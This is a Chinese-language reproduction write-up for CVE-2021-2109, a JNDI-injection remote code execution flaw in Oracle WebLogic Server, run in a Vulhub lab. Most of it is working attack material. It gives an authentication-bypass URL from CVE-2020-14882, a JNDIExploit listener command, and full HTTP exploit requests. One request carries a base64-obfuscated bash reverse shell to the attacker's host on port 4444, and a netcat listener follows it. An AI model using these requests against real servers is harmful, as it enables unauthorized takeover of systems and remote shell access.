CVE-2021-2109 Weblogic Server远程代码执行
漏洞背景
2021年1月20日,Oracle官方发布了漏洞补丁,修了包括 CVE-2021-2109 Weblogic Server远程代码执行漏洞在内的多个高危严重漏洞。CVE-2021-2109 中,攻击者可构造恶意请求,造成JNDI注入,执行任意代码,从而控制服务器。该漏洞为Weblogic的远程代码执行漏洞,主要由JNDI注入,导致攻击者可利用此漏洞远程代码执行,危险等级高。
漏洞影响版本
-
Weblogic Server 10.3.6.0.0
-
Weblogic Server 12.1.3.0.0
-
Weblogic Server 12.2.1.3.0
-
Weblogic Server 12.2.1.4.0
-
Weblogic Server 14.1.1.0.0
漏洞复现
环境搭建
使用Vulhub的CVE-2020-14882漏洞环境来复现,如下启动漏洞环境。
下载环境
docker-compose up -d
检查环境是否启动
docker ps
访问目标地址得到如下的页面:
使用CVE-2020-14882未授权访问登录后台,未授权URL地址:
http://192.168.106.6:7001/console/css/%252e%252e%252fconsole.portal
命令执行
开启JNDI监听
java -jar JNDIExploit-v1.11.jar -i 192.168.106.1(本机IP)
BP发送数据包
POST /console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.106;1:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1
Host: 192.168.106.6:7001
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.146 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
cmd:id
Cookie: rememberMe=1; ADMINCONSOLESESSION=SHZ2XSBhINTtK05OkiYc3YmbENIp5MODNGWF7EaAje_adp2PQ58L!-286302025; rememberMe=1
Connection: close
可以看到我们的命令执行成功了。
反弹shell
POST /console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.106;1:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1
Host: 192.168.106.6:7001
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.146 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
cmd:bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwNi4xLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}
Cookie: rememberMe=1; ADMINCONSOLESESSION=SHZ2XSBhINTtK05OkiYc3YmbENIp5MODNGWF7EaAje_adp2PQ58L!-286302025; rememberMe=1
Connection: close
本机监听4444端口
netcat -lvp 4444
可以看到我们本机监听到了反弹shell,然后成功执行了我们的命令